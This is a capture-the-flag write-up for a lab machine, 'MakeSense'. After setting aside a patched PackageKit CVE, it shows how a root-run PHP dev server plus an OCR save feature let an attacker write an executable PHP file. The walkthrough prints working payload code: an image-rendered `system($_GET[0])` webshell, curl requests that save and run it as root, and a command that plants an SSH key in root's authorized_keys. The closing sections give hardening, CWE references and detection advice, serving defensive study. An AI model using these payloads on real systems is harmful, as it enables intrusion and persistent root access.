MakeSense
- Target
- makesense.htb
- Host OS
- Linux (Ubuntu)
- Foothold
- SSH as
walterwith supplied credentials - Privesc
- OCR "save" writes
.phpinto a root-served docroot - Red herring
- PackageKit CVE-2026-41651 — patched via distro backport
01Setup and foothold
grep makesense.htb /etc/hosts || echo "<target> makesense.htb" | sudo tee -a /etc/hosts
curl -sk -I https://makesense.htb/ --resolve makesense.htb:443:<target>
ssh walter@makesense.htb # supplied credentials
02The red herring — verify before you build
The first thing local enumeration surfaces is PackageKit, and pkcon --version reports
1.2.8 — squarely in range for CVE-2026-41651 ("Pack2TheRoot"), a
deterministic TOCTOU that yields root. It is a named, high-CVSS bug with public exploit code. It is also
completely dead here.
apt-get changelog packagekit # shows the backported security fix
# pkcon --version still reports 1.2.8 — the version string does not move
Debian and Ubuntu backport security patches into the existing upstream version and bump only the distro
revision. Checking --version tells you almost nothing about whether a CVE applies. Checking
the changelog does. Five minutes here saved a long detour building an exploit chain that could
never have worked.
03Finding the real target
ps aux | grep -i "ocr4\|packagekit"
# /bin/bash /root/.scripts/start_ocr4.sh
# php -S 127.0.0.1:8001 -t /root/ocr4/ <-- served as ROOT
Three facts stack into the whole privilege escalation:
- PHP's built-in development server is running as root.
- Its docroot is
/root/ocr4/. - The application's "save" feature writes recognised OCR text to
saved/<filename>inside that same docroot — and the filename is user-supplied.
So anything saved as .php is served and executed by a root process. The input is OCR output,
which means the payload has to survive being read out of an image.
04Making OCR produce exact PHP
This is the part I enjoyed. Tesseract on ordinary rendered text mangles exactly the characters PHP needs —
$, _, (, ;, <?. The trick that worked
first try is to remove all the ambiguity OCR normally has to resolve: render one character at a
time, at fixed pitch, in a bold monospace face, so every glyph is isolated and unambiguous.
php -r '
$text = "<?php system(\$_GET[0]);";
$chars = str_split($text);
$fontsize = 42; $pitch = 34; $W = count($chars)*$pitch+60; $H = 180;
$im = imagecreatetruecolor($W,$H);
$white = imagecolorallocate($im,255,255,255); $black = imagecolorallocate($im,0,0,0);
imagefilledrectangle($im,0,0,$W,$H,$white);
$font = "/usr/share/fonts/truetype/dejavu/DejaVuSansMono-Bold.ttf"; $x = 30;
foreach ($chars as $c){ imagettftext($im,$fontsize,0,$x,110,$black,$font,$c); $x += $pitch; }
imagepng($im,"/tmp/shell.png");'
tesseract /tmp/shell.png stdout # must print EXACTLY: <?php system($_GET[0]);
Verify the OCR output locally before sending anything. If tesseract does not reproduce the
string byte for byte on your own machine, it will not on theirs.
05Recognise, save, execute
JAR=/tmp/cjshell; rm -f "$JAR"
# 1. submit the canvas image for recognition
curl -s -c "$JAR" -b "$JAR" -u walter:'<pass>' -X POST http://127.0.0.1:8001/ \
--data-urlencode "canvas_image=data:image/png;base64,$(base64 -w0 /tmp/shell.png)" -o /tmp/rec.html
OCRID=$(grep -oE 'ocr_[0-9a-f]+\.[0-9]+' /tmp/rec.html | head -1)
sed -n '/<p class="output-text">/,/<\/p>/p' /tmp/rec.html # confirm the text came back clean
# 2. save that recognition result as a .php file
curl -s -c "$JAR" -b "$JAR" -u walter:'<pass>' -X POST http://127.0.0.1:8001/ \
--data-urlencode "ocr_id=$OCRID" --data-urlencode "filename=shell.php" \
--data-urlencode "save_output=Save" -o /tmp/save.html
# 3. it is now served by the root php -S
curl -s -u walter:'<pass>' "http://127.0.0.1:8001/saved/shell.php?0=id"
# uid=0(root) gid=0(root) groups=0(root)
curl -s -u walter:'<pass>' "http://127.0.0.1:8001/saved/shell.php?0=cat+/root/root.txt"
For a stable shell rather than a query-string one, the webshell can drop an SSH key:
PUBKEY=$(cat ~/.ssh/id_ed25519.pub)
curl -s -u walter:'<pass>' -G "http://127.0.0.1:8001/saved/shell.php" \
--data-urlencode "0=mkdir -p /root/.ssh && echo '$PUBKEY' >> /root/.ssh/authorized_keys && chmod 700 /root/.ssh && chmod 600 /root/.ssh/authorized_keys && id"
ssh -i ~/.ssh/id_ed25519 root@makesense.htb
06If this were your environment
Root-run PHP development server serving a writable directory
php -S was running as root with a docroot that a lower-privileged application feature could
write arbitrary filenames into. Any .php written there executes as root — the OCR step is
just the delivery mechanism.
- Never run
php -Sin production, and never as root. It is a development server; put the app behind php-fpm and a real web server under a dedicated service account. - Never serve a directory that a lower-privileged feature can write to. That is the whole bug, independent of PHP.
- Run the service with systemd hardening —
User=,NoNewPrivileges=true,ProtectSystem=strict,ProtectHome=true.
CIS Controls v8: 4.x secure configuration of enterprise assets and software
A save/export feature that is really an arbitrary-file-write sink
The application accepted a user-supplied filename and wrote transformed content to it inside the served tree. Extension, path and destination were all attacker-influenced.
- Write outputs outside any served path and hand them back through a download handler rather than a URL into the docroot.
- Force a safe extension server-side (
.txt) and generate the filename yourself; never trust a client-supplied name. - Disable execution in upload/output directories as defence in depth (
php_admin_flag engine off, or equivalent). - Treat every "transform and save" feature as a code-execution sink during design review — OCR, image conversion, PDF export, report generation.
CWE: CWE-434 unrestricted upload of file with dangerous type · CWE-73 external control of file name or path
Version strings are not patch status
PackageKit reported a version that matched a public CVE while the distro had already backported the fix. Responding to the version alone would have produced a false positive in a report — and, on the offensive side, wasted hours.
- Verify against the distro changelog (
apt-get changelog,rpm -q --changelog) or the vendor's security tracker, not--version. - Configure scanners for backport awareness, or triage their output against the package revision, before raising findings.
07Detection — the blue-team side
- New
.php(or any executable content) appearing in a served directory — high signal, low noise. - A root-owned process writing web-executable content, anywhere.
- OCR / transform output whose result is executable, or whose filename carries a code extension.
php -Spresent in a process list on a production host at all.
08Takeaways
- A named, high-CVSS CVE is not automatically the answer. Verify it applies before you build around it — backports do not move version strings.
- The "boring" bugs drive most real privilege escalation: file writes and trust boundaries between two services that were each fine alone.
- The OCR trick generalises. Per-character fixed pitch in a bold monospace face beats any transform-to-file pipeline that has to recognise text — worth remembering well beyond this box.
◆If this were my environment
OCR output crossed directly into a root-owned execution path. I would separate untrusted document processing from privileged automation and require an explicit, integrity-checked promotion step.
- Process uploads in an isolated worker with no shell, network or privileged filesystem access and treat extracted text as hostile data.
- Write results to a non-executable staging area; only a root-owned broker should validate and copy approved data onward.
- Mount upload and output locations with noexec/nodev/nosuid where possible and apply mandatory access control.
- Monitor privileged jobs for newly writable inputs, ownership changes and unexpected interpreter launches.
Hardening guides and benchmarks
These references offer different implementation paths: consensus benchmarks, prescriptive government checklists, vendor baselines and application-security verification requirements. I would select the profile that matches the system's role, document exceptions, test it in staging and continuously measure drift.